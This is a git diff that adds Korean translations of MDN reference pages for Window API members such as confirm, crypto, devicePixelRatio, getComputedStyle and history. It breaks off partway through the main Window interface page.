diff --git a/files/ko/web/api/window/confirm/index.html b/files/ko/web/api/window/confirm/index.html new file mode 100644 index 0000000000..f2895337bd --- /dev/null +++ b/files/ko/web/api/window/confirm/index.html @@ -0,0 +1,76 @@ +--- +title: Window.confirm() +slug: Web/API/Window/confirm +tags: + - API + - HTML DOM + - Method + - Reference + - Window +translation_of: Web/API/Window/confirm +--- +
{{ApiRef("Window")}}
+ +

Window.confirm() 메서드는 확인과 취소 두 버튼을 가지며 메시지를 지정할 수 있는 모달 대화 상자를 띄웁니다.

+ +

구문

+ +
result = window.confirm(message);
+
+ +

Parameters

+ +
+
message
+
경고 대화 상자에 표시할 텍스트 문자열.
+
+ +

반환 값

+ +

확인 (true) 또는 취소 (false) 중 사용자가 선택한 값. 브라우저가 페이지 내 대화 상자를 무시하고 있으면 항상 false입니다.

+ +

예제

+ +
if (window.confirm("Do you really want to leave?")) {
+  window.open("exit.html", "Thanks for Visiting!");
+}
+
+ +

위 코드는 다음 결과를 보입니다.

+ +

firefox confirm
+  

+ +

참고

+ +

대화 상자는 모달 창(부모 창으로 돌아가기 전에 사용자의 상호 작용을 요구하는 자식 창)으로, 사용자는 대화 상자가 닫힐 때까지 다른 모든 인터페이스에 접근할 수 없습니다. 따라서 대화 상자(또는 모달 창)를 만드는 함수를 남용하면 안 됩니다. 이 뿐만이 아니더라도, 대화 상자로 사용자 확인을 받는 것은 피해야 할 좋은 이유 여럿이 존재합니다.

+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'timers-and-user-prompts.html#dom-confirm', 'confirm()')}}{{Spec2('HTML WHATWG')}}
+ +

브라우저 호환성

+ + + +

{{Compat("api.Window.confirm")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/window/console/index.html b/files/ko/web/api/window/console/index.html new file mode 100644 index 0000000000..baed7caeeb --- /dev/null +++ b/files/ko/web/api/window/console/index.html @@ -0,0 +1,53 @@ +--- +title: Window.console +slug: Web/API/Window/console +tags: + - API + - Property + - Read-only + - Reference + - Window + - console +translation_of: Web/API/Window/console +--- +
{{APIRef}}
+ +

Window.console 속성은 브라우저 콘솔에 로그를 남길 수 있는 메서드를 가진 {{domxref("Console")}} 객체의 참조를 반환합니다. 콘솔 메서드는 디버깅 용도로만 사용해야 하며, 엔드유저에게 정보를 제공할 의도를 가져션 안됩니다.

+ +

예제

+ +

콘솔에 로그 남기기

+ +

다음 코드는 콘솔에 로그 텍스트를 남깁니다.

+ +
console.log("An error occurred while loading the content");
+
+ +

다음 코드는 객체를 콘솔에 출력합니다. 출력 결과를 클릭하면 객체의 필드를 펼쳐볼 수 있습니다.

+ +
console.dir(someObject);
+ +

{{domxref("Console")}} 문서의 예제 항목에서 더 자세한 예제를 살펴보세요.

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Console API')}}{{Spec2('Console API')}}Initial definition.
+ +
+

현재 브라우저간 구현에 많은 차이가 있지만, 하나로 통합하여 서로 보다 일관적으로 만드는 작업이 진행 중입니다.

+
diff --git a/files/ko/web/api/window/crypto/index.html b/files/ko/web/api/window/crypto/index.html new file mode 100644 index 0000000000..1b43534adc --- /dev/null +++ b/files/ko/web/api/window/crypto/index.html @@ -0,0 +1,75 @@ +--- +title: Window.crypto +slug: Web/API/Window/crypto +tags: + - API + - HTML DOM + - Property + - Reference + - Window +translation_of: Web/API/Window/crypto +--- +
{{APIRef}}
+ +

Window.crypto속성은 전역 객체인 {{domxref("Crypto")}} 객체를 반환합니다. Crypto 객체는 웹 페이지가 특정 암호학적 서비스에 접근할 수 있는 경로입니다. crypto 속성 자체는 읽기 전용이지만, 모든 메서드(와 자식 객체 {{domxref("SubtleCrypto")}})의 메서드)는 읽기 전용이 아니므로 {{glossary("polyfill", "폴리필")}}을 통한 공격에 취약합니다.

+ +

구문

+ +
var cryptoObj = window.crypto || window.msCrypto; // for IE 11
+
+ +

예제

+ +

다음 예제는 {{domxref("Window.crypto")}} 속성을 통해 {{domxref("Crypto.getRandomValues", "getRandomValues()")}} 메서드에 접근합니다.

+ +

JavaScript

+ +
genRandomNumbers = function getRandomNumbers() {
+  var array = new Uint32Array(10);
+  window.crypto.getRandomValues(array);
+
+  var randText = document.getElementById("myRandText");
+  randText.innerHTML = "The random numbers are: "
+  for (var i = 0; i < array.length; i++) {
+    randText.innerHTML += array[i] + " ";
+  }
+}
+ +

HTML

+ +
<p id="myRandText">The random numbers are: </p>
+<button type="button" onClick='genRandomNumbers()'>Generate 10 random numbers</button>
+ +

결과

+ +

{{EmbedLiveSample('예제')}}

+ +

명세

+ + + + + + + + + + + + + + +
명세상태비고
{{SpecName("Web Crypto API", "#dfn-GlobalCrypto", "Window.crypto")}}{{Spec2("Web Crypto API")}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("api.Window.crypto")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/window/customelements/index.html b/files/ko/web/api/window/customelements/index.html new file mode 100644 index 0000000000..591cd5bf65 --- /dev/null +++ b/files/ko/web/api/window/customelements/index.html @@ -0,0 +1,63 @@ +--- +title: Window.customElements +slug: Web/API/Window/customElements +tags: + - API + - Property + - Reference + - Web Components + - Window +translation_of: Web/API/Window/customElements +--- +
{{APIRef}}
+ +

{{domxref("Window")}} 인터페이스의 customElements 읽기 전용 속성은 새로운 사용자 지정 요소를 등록하거나, 이전에 등록한 요소의 정보를 받아올 수 있는 {{domxref("CustomElementRegistry")}} 객체의 참조를 반환합니다.

+ +

예제

+ +

customElements를 사용하는 가장 흔한 예시는 새로운 요소를 정의하고 등록하기 위해 {{domxref("CustomElementRegistry.define()")}} 메서드에 적용하는 경우입니다.

+ +
let customElementRegistry = window.customElements;
+customElementRegistry.define('my-custom-element', MyCustomElement);
+ +

그러나, 보통은 다음 코드처럼 줄여서 사용하곤 합니다.

+ +
customElements.define('element-details',
+  class extends HTMLElement {
+    constructor() {
+      super();
+      const template = document
+        .getElementById('element-details-template')
+        .content;
+      const shadowRoot = this.attachShadow({mode: 'open'})
+        .appendChild(template.cloneNode(true));
+    }
+  }
+);
+ +

web-components-examples 저장소에서 더 많은 사용 예제를 찾아보세요.

+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "custom-elements.html#dom-window-customelements", "window.customElements")}}{{Spec2("HTML WHATWG")}}Initial definition.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.Window.customElements")}}

+
diff --git a/files/ko/web/api/window/devicepixelratio/index.html b/files/ko/web/api/window/devicepixelratio/index.html new file mode 100644 index 0000000000..361862dd9e --- /dev/null +++ b/files/ko/web/api/window/devicepixelratio/index.html @@ -0,0 +1,180 @@ +--- +title: Window.devicePixelRatio +slug: Web/API/Window/devicePixelRatio +tags: + - API + - Property + - Read-only + - Reference + - Window +translation_of: Web/API/Window/devicePixelRatio +--- +
{{APIRef}}
+ +

{{domxref("Window")}} 인터페이스의 devicePixelRatio 읽기 전용 속성은 현재 표시 장치의 물리적 픽셀과 CSS 픽셀의 비율을 반환합니다. CSS 픽셀의 크기를 물리적 픽셀의 크기로 나눈 값으로 해석해도 됩니다. 또 다른 해석은, 하나의 CSS 픽셀을 그릴 때 사용해야 하는 장치 픽셀의 수라고 할 수 있습니다.

+ +

devicePixelRatio 속성은 HiDPI/Retina 디스플레이처럼 같은 객체를 그릴 때 더 많은 픽셀을 사용해 보다 선명한 이미지를 표현하는 화면과, 표준 디스플레이의 렌더링 차이에 대응할 때 유용합니다.

+ +

{{domxref("window.matchMedia()")}}를 사용하면, 사용자가 창을 드래그 해 디스플레이의 픽셀 밀도가 바뀌는 등의 상황에서 devicePixelRatio가 바뀌는지 알아낼 수 있습니다. 아래의 예제를 참고하세요.

+ +

구문

+ +
value = window.devicePixelRatio
+
+ +

예제

+ +

Correcting resolution in a <canvas>

+ +

A {{htmlelement("canvas")}} can appear too blurry on retina screens. Use window.devicePixelRatio to determine how much extra pixel density should be added to allow for a sharper image.

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+
+// Set display size (css pixels).
+var size = 200;
+canvas.style.width = size + "px";
+canvas.style.height = size + "px";
+
+// Set actual size in memory (scaled to account for extra pixel density).
+var scale = window.devicePixelRatio; // Change to 1 on retina screens to see blurry canvas.
+canvas.width = size * scale;
+canvas.height = size * scale;
+
+// Normalize coordinate system to use css pixels.
+ctx.scale(scale, scale);
+
+ctx.fillStyle = "#bada55";
+ctx.fillRect(10, 10, 300, 300);
+ctx.fillStyle = "#ffffff";
+ctx.font = '18px Arial';
+ctx.textAlign = 'center';
+ctx.textBaseline = 'middle';
+
+var x = size / 2;
+var y = size / 2;
+
+var textString = "I love MDN";
+ctx.fillText(textString, x, y);
+ +

This image describe the impact of different value on retina display.

+ +

Monitoring screen resolution or zoom level changes

+ +

In this example, we'll set up a media query and watch it to see when the device resolution changes, so that we can check the value of devicePixelRatio to handle any updates we need to.

+ +

JavaScript

+ +

The JavaScript code creates the media query that monitors the device resolution and checks the value of devicePixelRatio any time it changes.

+ +
let pixelRatioBox = document.querySelector(".pixel-ratio");
+let mqString = `(resolution: ${window.devicePixelRatio}dppx)`;
+
+const updatePixelRatio = () => {
+  let pr = window.devicePixelRatio;
+  let prString = (pr * 100).toFixed(0);
+  pixelRatioBox.innerText = `${prString}% (${pr.toFixed(2)})`;
+}
+
+updatePixelRatio();
+
+matchMedia(mqString).addListener(updatePixelRatio);
+ +

The string mqString is set up to be the media query itself. The media query, which begins as (resolution: 1dppx) (for standard displays) or (resolution: 2dppx) (for Retina/HiDPI displays), checks to see if the current display resolution matches a specific number of device dots per px.

+ +

The updatePixelRatio() function fetches the current value of devicePixelRatio, then sets the {{domxref("HTMLElement.innerText", "innerText")}} of the element pixelRatioBox to a string which displays the ratio both as a percentage and as a raw decimal value with up to two decimal places.

+ +

Then the updatePixelRatio() function is called once to display the starting value, after which the media query is created using {{domxref("Window.matchMedia", "matchMedia()")}} and {{domxref("EventTarget.addEventListener", "addEventListener()")}} is called to set up updatePixelRatio() as a handler for the change event.

+ +

HTML

+ +

The HTML creates the boxes containing the instructions and the pixel-ratio box that will display the current pixel ratio information.

+ +
<div class="container">
+  <div class="inner-container">
+    <p>This example demonstrates the effect of zooming the page in
+       and out (or moving it to a screen with a different scaling
+       factor) on the value of the property <code>Window.devicePixelRatio</code>.
+       Try it and watch what happens!</p>
+  </div>
+    <div class="pixel-ratio"></div>
+</div>
+ +
+

CSS

+
+ +
body {
+  font: 22px arial, sans-serif;
+}
+
+.container {
+  top: 2em;
+  width: 22em;
+  height: 14em;
+  border: 2px solid #22d;
+  margin: 0 auto;
+  padding: 0;
+  background-color: #a9f;
+}
+
+.inner-container {
+  padding: 1em 2em;
+  text-align: justify;
+  text-justify: auto;
+}
+
+.pixel-ratio {
+  position: relative;
+  margin: auto;
+  height: 1.2em;
+  text-align: right;
+  bottom: 0;
+  right: 1em;
+  font-weight: bold;
+}
+
+ +

Result

+ +

{{EmbedLiveSample("Monitoring_screen_resolution_or_zoom_level_changes", "100%", 500)}}

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSSOM View", "#dom-window-devicepixelratio", "Window.devicePixelRatio")}}{{Spec2("CSSOM View")}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("api.Window.devicePixelRatio")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/window/document/index.html b/files/ko/web/api/window/document/index.html new file mode 100644 index 0000000000..1703ac8474 --- /dev/null +++ b/files/ko/web/api/window/document/index.html @@ -0,0 +1,47 @@ +--- +title: Window.document +slug: Web/API/Window/document +tags: + - API + - HTML DOM + - Property + - Reference + - Window +translation_of: Web/API/Window/document +--- +
{{APIRef}}
+ +

window.document 속성은 창이 포함한 문서의 참조를 반환합니다.

+ +

예제

+ +
console.log(window.document.title);
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-document-2', 'Window.document')}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5 W3C', 'browsers.html#dom-document-0', 'Window.document')}}{{Spec2('HTML5 W3C')}}
+ +

브라우저 호환성

+ + + +

{{Compat("api.Window.document")}}

diff --git a/files/ko/web/api/window/event/index.html b/files/ko/web/api/window/event/index.html new file mode 100644 index 0000000000..d358167e58 --- /dev/null +++ b/files/ko/web/api/window/event/index.html @@ -0,0 +1,52 @@ +--- +title: Window.event +slug: Web/API/Window/event +tags: + - API + - DOM + - Event + - Property + - Read-only + - Reference + - Window + - 이벤트 +translation_of: Web/API/Window/event +--- +
{{APIRef("DOM")}}
+ +

{{domxref("Window")}} 객체의 event 속성은 웹 사이트의 코드가 현재 처리 중인 {{domxref("Event")}}를 반환합니다. 이벤트 처리기 바깥에서는 항상 {{jsxref("undefined")}}입니다.

+ +

신규 코드에서는 사용을 피하세요. 대신, 처리기가 매개변수로 받는 {{domxref("Event")}}를 사용해야 합니다. event 속성은 많이 지원되지도 않고, 지원하는 환경에서도 나중에 문제가 발생할 여지를 키웁니다.

+ +
+

참고: event 속성이 반환하는 Event가 예상하는 값과 다른 경우가 많습니다. 게다가 {{Glossary("shadow tree", "섀도우 트리")}} 안에서 발생한 이벤트의 경우 정확하지 않습니다.

+
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', "#ref-for-dom-window-event", "Window.event")}}{{Spec2('DOM WHATWG')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.Window.event")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/window/frameelement/index.html b/files/ko/web/api/window/frameelement/index.html new file mode 100644 index 0000000000..5652dac1f0 --- /dev/null +++ b/files/ko/web/api/window/frameelement/index.html @@ -0,0 +1,61 @@ +--- +title: Window.frameElement +slug: Web/API/Window/frameElement +tags: + - API + - DOM + - Property + - Reference + - Window +translation_of: Web/API/Window/frameElement +--- +
{{ApiRef}}
+ +

Window.frameElement 속성은 {{HTMLElement("iframe")}}이나 {{HTMLElement("object")}}처럼 현재 창을 포함한 요소를 반환합니다. 창이 다른 문서에 포함된 것이 아니거나, 문서의 출처가 다른 경우, 즉 창과 해당 문서의 도메인이 서로 다른 경우 {{jsxref("null")}}을 반환합니다.

+ +
+

참고: 속성 이름("frame")과는 달리, {{HTMLElement("object")}}, {{HTMLElement("iframe")}}, {{HTMLElement("embed")}}를 포함한 모든 포함 지점에서 사용할 수 있습니다.

+
+ +

예제

+ +
var frameEl = window.frameElement;
+// If we're embedded, change the containing element's URL to 'http://mozilla.org/'
+if (frameEl) {
+  frameEl.src = 'http://mozilla.org/';
+}
+
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'browsers.html#dom-frameelement', 'Window.frameElement')}}{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.Window.frameElement")}}

+
+ +

같이 보기

+ + diff --git a/files/ko/web/api/window/getcomputedstyle/index.html b/files/ko/web/api/window/getcomputedstyle/index.html new file mode 100644 index 0000000000..928f2f4b47 --- /dev/null +++ b/files/ko/web/api/window/getcomputedstyle/index.html @@ -0,0 +1,137 @@ +--- +title: Window.getComputedStyle() +slug: Web/API/Window/getComputedStyle +tags: + - API + - CSSOM View + - Method + - Reference + - Window +translation_of: Web/API/Window/getComputedStyle +--- +
{{APIRef}}
+ +

Window.getComputedStyle() 메소드는 인자로 전달받은 요소의 모든 CSS 속성값을 담은 객체를 회신합니다. 이 속성값들은, 해당 요소에 대하여 활성 스타일시트와 속성값에 대한 기본 연산이 모두 반영된 결과값입니다.  개별 CSS속성 값은 객체를 통해 제공되는 API 또는 CSS 속성 이름을 사용해서 간단히 색인화해서 액세스할 수 있습니다.

+ +

구문

+ +
var style = window.getComputedStyle(element[, pseudoElt]);
+
+ +
+
element
+
속성값을 얻으려하는 {{domxref("Element")}}.
+
pseudoElt {{optional_inline}}
+
일치시킬 의사요소(pseudo element)를 지정하는 문자열. 보통의 요소들에 대해서는 생략되거나 null이어야 함.
+
+ +
Note: Gecko 2.0 {{geckoRelease("2.0")}} 이전에는 pseudoElt 매개 변수가 필요했습니다. 다른 주요 브라우저에서는 pseudoElt 매개변수의 값이 null 인 경우에는 생략해도 됩니다. Gecko는 다른 브라우저의 동작과 일치하도록 변경되었습니다.
+ +

반환되는 style은 요소의 스타일이 변경 될 때 자동으로 업데이트되는 실시간 {{domxref ( "CSSStyleDeclaration")}} 객체입니다.

+ +

예제

+ +

이 예제에서는 간단한 {{htmlelement("div")}} 요소에 CSS스타일을 적용하고, getComputedStyle()를 사용해서 적용된 스타일값을 찾아낸 후에 <div>의 본문으로 출력합니다.

+ +
<p>Hello</p>
+ +
p {
+  width: 400px;
+  margin: 0 auto;
+  padding: 20px;
+  line-height: 2;
+  font-size: 2rem;
+  font-family: sans-serif;
+  background: purple;
+  color: white;
+  text-align: center;
+}
+ +
let para = document.querySelector('p');
+let compStyles = window.getComputedStyle(para);
+para.textContent = 'My computed font-size is ' + compStyles.getPropertyValue('font-size') + ',\nand my computed line-height is ' + compStyles.getPropertyValue('line-height') + '.';
+ +

결과

+ +

{{EmbedLiveSample('예제', '100%', '240px')}}

+ +

설명

+ +

메소드의 호출에서 반환되는 객체의 자료형은 요소의 {{domxref("HTMLElement.style", "style")}} 속성에서 반환되는 객체와 동일한 {{domxref("CSSStyleDeclaration")}}형입니다. 그러나 두 객체는 다른 목적을 가지고 있습니다. getComputedStyle에서 반환된 객체는 읽기 전용이며 요소의 (<style> 또는 외부 stylesheet로 설정되는 것도 포함해서) 스타일을 검사하는 데 사용할 수 있습니다. elt.style 객체는 특정한 요소에 스타일을 설정하는 데 사용해야 합니다.

+ +

첫 번째 인수는 요소여야합니다. #text 노드같은 비-요소 노드를 전달하면 오류가 발생합니다. Gecko 1.9.2 {{geckoRelease("1.9.2")}}부터는, 반환되는 URL 값에는 url("http://foo.com/bar.jpg")과 같이 URL 문자열 주위에 따옴표가 있습니다.

+ +

defaultView

+ +

온라인의 많은 코드 샘플중에서, getComputedStyledocument.defaultView객체에서 사용됩니다만, 대개의 경우에는 getComputedStylewindow객체에도 존재하므로 document.defaultView객체에서 사용하는 패턴은 필요하지 않습니다. defaultView패턴은 (1) window 스펙을 작성하고 싶지 않은 사람들과 (2) Java에서도 사용할 수있는 API를 만드는 것의 조합이었을 가능성이 큽니다. 그러나 defaultView의 메소드를 사용해야만하는 경우가 하나 있습니다. Firefox 3.6을 사용하여 프레임 스타일(framed styles)에 액세스하는 경우입니다.

+ +

의사요소 사용하기

+ +

getComputedStyle은 의사요소(pseudo-elements, ::after, ::before, ::marker, ::line-markerspec참고)에서 스타일 정보를 가져올 수 있습니다.

+ +
<style>
+ h3::after {
+   content: ' rocks!';
+ }
+</style>
+
+<h3>generated content</h3>
+
+<script>
+  var h3       = document.querySelector('h3');
+  var result   = getComputedStyle(h3, ':after').content;
+
+  console.log('the generated content is: ', result); // returns ' rocks!'
+</script>
+
+ +

참고

+ +

반환되는 {{domxref("CSSStyleDeclaration")}} 객체에는 지원되는 모든 CSS의 본디속성(longhand)명에 대한 활성값을 갖게 됩니다. 예로, 본디속성명 border-bottom-width의 경우를 보면, border-widthborder같은 단축속성명이 사용됩니다. font-size과 같은 본디속성명만을 사용하여 속성값을 질의하는 것이 안전합니다. font같은 단축속성명을 사용하여 질의하는 것은 대부분의 브라우저에서 동작하지 않을 것입니다.

+ +

CSS속성 값은 getPropertyValue(propName) API를 사용하거나,  cs[' z-index'] 또는 cs.zIndex 같은 방식으로 객체에 직접 인덱싱하여 액세스할 수 있습니다.

+ +

getComputedStyle에서 반환되는 값들은 {{cssxref("resolved_value", "resolved values")}}라고 합니다. 이 값들은 일반적으로 CSS 2.1 {{cssxref("computed_value","computed values")}}과 같지만, 일부 오래된 속성(width, height 또는 padding)에 대해서는 {{cssxref("used_value","used values")}}입니다. 원래, CSS 2.0에서는 이 computed values를 cascading과 inheritance 후에 "사용준비완료"된 최종값을 의미했습니다. 하지만, CSS 2.1에서는 computed values를 pre-layout으로, used values들은 post-layout으로 재정의했습니다. CSS 2.0 속성들에 대해서는 getComputedStyle은 지금은 used values라고 불리는 옛 의미의 computed values를 반환합니다. pre-layout과 post-layout값의 차이를 나타내는 예로서 요소의 width 또는 height(layout이라고도 함)를 나타내는 백분율(퍼센트표시)이 이 있는데, 이 값들은 used value의 경우에만 픽셀(에 상당하는 대체물)로 대체됩니다.

+ +

몇 몇 알려진 경우에 대해, 반환값은 의도적으로 부정확한 값을 가집니다. 특히, 소위 CSS History Leak 보안 문제를 피하기 위해 브라우저는 링크에 대해서는 명시적으로 used value에 대해 "거짓말"을 하는데, 사용자가 링크된 사이트를 한번도 방문한 적이 없는 것 처럼 값을 반환합니다. 이것이 어떻게 구현되는 지에 대한 자세한 내용은 http://blog.mozilla.com/security/2010/03/31/plugging-the-css-history-leak/http://hacks.mozilla.org/2010/03/privacy-related-changes-coming-to-css-vistited/를 보십시오. 대부분의 최신 브라우저는 의사 선택기 스타일 응용과 getComputedStyle의 반환값에 대해서 유사한 변경 사항을 적용했습니다.

+ +

CSS전이 중에 getComputedStyle를 호출하면, Firefox에서는 원래속성값(Original property value)을 반환하지만, WebKit에서는 최종속성값(final property value)을 반환합니다.

+ +

Firefox에서는 auto값을 가진 속성들이 auto값이 아니라 used value를 반환합니다. 그래서, height:100px;의 컨테이너 블록 안에 height:30px;의 속성을 가진 요소를 넣고 top:auto;bottom:0;를 적용하면, top에 대한 computed style값을 요구할때 Firefox는 100px-30px=70px의 결과로서 top:70px를 반환합니다.

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSSOM", "#dom-window-getcomputedstyle", "getComputedStyle()")}}{{Spec2("CSSOM")}} 
{{SpecName("DOM2 Style", "#CSS-CSSview-getComputedStyle", "getComputedStyle()")}}{{Spec2("DOM2 Style")}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("api.Window.getComputedStyle")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/window/getselection/index.html b/files/ko/web/api/window/getselection/index.html new file mode 100644 index 0000000000..c51281b307 --- /dev/null +++ b/files/ko/web/api/window/getselection/index.html @@ -0,0 +1,129 @@ +--- +title: Window.getSelection() +slug: Web/API/Window/getSelection +translation_of: Web/API/Window/getSelection +--- +
{{ ApiRef() }}
+ +

요약

+ +

사용자 또는 Caret의 위치에 따라 선택된 텍스트의 범위를 나타내는 {{domxref("Selection")}} 객체를 반환한다. 

+ +

문법

+ +
selection = window.getSelection();
+ + + +

예제

+ +
function foo() {
+    var selObj = window.getSelection();
+    alert(selObj);
+    var selRange = selObj.getRangeAt(0);
+    // do stuff with the range
+}
+ +

노트

+ +

Selection 객체의 문자열 표현

+ +

JavaScript에서 문자열을 인자로 받는 함수({{ Domxref("window.alert()") }} 나 {{ Domxref("document.write()") }} 같은)에 객체를 전달하면 해당 객체의 {{jsxref("Object.toString", "toString()")}} 메소드를 호출하고 그 결과를 호출한 함수로 전달합니다. 이를 통해서 실제로는 속성과 메소드를 갖는 문자열이 아닌 일반적인 객체라 하더라도 문자열을 인자로 받는 함수의 인자로 사용할 때에는 객체를 문자열인 것처럼 전달할 수 있습니다.

+ +

위 예제에서 selObj를 {{domxref("window.alert()")}}의 인자로 전달하면 selObj.toString()가 자동적으로 호출됩니다. 하지만, selObj에 대해서 length 나 substr 같은 JavaScript String의 속성이나 메소드를 사용하면 객체에 그러한 속성이나 메소드가 없기 때문에 에러나 예상치 못한 결과가 발생합니다. Selection 객체를 문자열로 사용하려면 다음처럼 직접 toString() 메소드를 호출해야 합니다:

+ +
var selectedText = selObj.toString();
+ + + + + +

It's also useful to note that you can call {{domxref("Document.getSelection()")}}, which works identically.

+ +

HTML inputs provide simpler helper APIs for working with selection (see {{domxref("HTMLInputElement.setSelectionRange()")}}).

+ +

Notice the difference between selection and focus. {{domxref("Document.activeElement")}} returns the focused element.

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML Editing", "#dom-window-getselection", "Window.getSelection()")}}{{Spec2("HTML Editing")}}Initial definition
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}9{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

See also

+ + diff --git a/files/ko/web/api/window/history/index.html b/files/ko/web/api/window/history/index.html new file mode 100644 index 0000000000..1fffa11d9a --- /dev/null +++ b/files/ko/web/api/window/history/index.html @@ -0,0 +1,59 @@ +--- +title: Window.history +slug: Web/API/Window/history +tags: + - API + - HTML DOM + - History API + - Property + - Reference + - Window +translation_of: Web/API/Window/history +--- +
{{APIRef}}
+ +

Window.history 읽기 전용 속성은 {{domxref("History")}} 객체로의 참조를 반환합니다. History 객체는 브라우저의 세션 기록(현재 페이지를 불러온 탭 혹은 프레임이 방문했던 페이지)을 조작할 때 사용합니다.

+ +

History API 문서를 방문해 자세한 정보와 함께 예제를 살펴보세요. 특히, 저 문서는 {{domxref("History.pushState", "pushState()")}}와 {{domxref("History.replaceState", "replaceState()")}} 메서드를 사용하기 전 알아야 할 보안 기능을 설명합니다.

+ +

예제

+ +
history.back();     // 뒤로 가기 버튼 클릭과 동일
+history.go(-1);     // history.back()과 동일
+
+ +

참고

+ +

프레임에 속하지 않은 최상위 페이지의 세션 기록은 브라우저의 뒤로 가기/앞으로 가기 버튼의 드롭다운 메뉴에서도 볼 수 있습니다.

+ +

보안상의 문제로, {{domxref("History")}} 객체는 세션 기록 내 다른 페이지의 {{glossary("URL")}}을 알 수 없습니다. 그러나 세션 기록을 탐색하는 것은 할 수 있습니다.

+ +

일반 코드에서 세션 기록을 지우거나, 브라우저의 뒤로/앞으로 가기 버튼을 비활성화할 방법은 없습니다. 그나마 가장 근접한 방법은 {{domxref("Location.replace", "location.replace()")}} 메서드로, 세션 기록의 현재 항목을 주어진 URL로 바꿉니다.

+ +

명세

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'browsers.html#the-history-interface', 'The History interface')}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5 W3C', 'browsers.html#the-history-interface', 'The History interface')}}{{Spec2('HTML5 W3C')}}
+ +

브라우저 호환성

+ + + +

{{Compat("api.Window.history")}}

diff --git a/files/ko/web/api/window/index.html b/files/ko/web/api/window/index.html new file mode 100644 index 0000000000..4ab8a88279 --- /dev/null +++ b/files/ko/web/api/window/index.html @@ -0,0 +1,700 @@ +--- +title: Window +slug: Web/API/Window +tags: + - API + - DOM + - Interface + - JavaScript + - Reference + - Window +translation_of: Web/API/Window +--- +
{{APIRef("DOM")}}
+ +

Window 인터페이스는 {{glossary("DOM")}} 문서를 담은 창을 나타냅니다. document 속성이 창에 불러온 DOM 문서를 가리킵니다. 반대로, 주어진 문서의 창은 {{domxref("document.defaultView")}}를 사용해 접근할 수 있습니다.

+ +

JavaScript 코드에 노출된 전역 변수 window는 현재 스크립트가 작동 중인 창을 나타냅니다.

+ +

Window 인터페이스는 다양한 함수, 이름공간, 객체, 생성자가 머무는 장소입니다. 그 중엔 사용자 인터페이스로서의 창 개념과는 직접 관련되지 않은 것도 존재하며, 대신 전역적으로 접근할 수 있어야 하는 항목에 적합합니다. 많은 수의 항목이 JavaScript 참고서DOM 참고서에 문서화되어 있습니다.

+ +

탭 기능이 있는 브라우저에서는 각각의 탭을 각각의 Window 객체로 나타냅니다. 주어진 탭에서 동작 중인 JavaScript 코드의 전역 window 객체는 항상 자신의 탭을 나타냅니다. 그렇지만 {{domxref("Window.resizeTo", "resizeTo()")}}와 {{domxref("Window.innerHeight", "innerHeight")}}처럼, 일부 속성과 메서드는 탭이 아닌 창 전체에 적용됩니다. 보통 탭과 합리적으로는 연관 지을 수 없는 경우 창에 속합니다.

+ +

{{InheritanceDiagram}}

+ +

생성자

+ +

DOM 인터페이스도 참고하세요.

+ +
+
{{domxref("DOMParser")}}
+
DOMParser는 문자열에 저장한 XML 또는 HTML 소스 코드를 DOM {{domxref("Document")}}로 구문 분석할 수 있습니다. DOMParserDOM Parsing and Serialization 명세의 일부입니다.
+
{{domxref("Image")}}
+
{{domxref("HTMLImageElement")}}를 생성할 때 사용합니다.
+
{{domxref("Option")}}
+
{{domxref("HTMLOptionElement")}}를 생성할 때 사용합니다.
+
{{domxref("Window.StaticRange")}} {{experimental_inline}} {{readonlyinline}}
+
{{domxref('StaticRange')}} 객체를 생성하는 {{domxref('StaticRange.StaticRange','StaticRange()')}} 생성자를 반환합니다.
+
{{domxref("Worker")}}
+
Web Worker 생성에 사용합니다.
+
{{domxref("Window.XMLSerializer")}}
+
DOM 트리를 XML 또는 HTML 소스로 변환합니다.
+
+ +

속성

+ +

{{domxref("EventTarget")}}의 속성을 상속하고, {{domxref("WindowOrWorkerGlobalScope")}}와 {{domxref("WindowEventHandlers")}} 믹스인의 속성을 구현합니다.

+ +
+
{{domxref("Window.closed")}} {{readOnlyInline}}
+
현재 창이 닫혔는지 나타냅니다.
+
{{domxref("Window.console")}} {{readOnlyInline}}
+
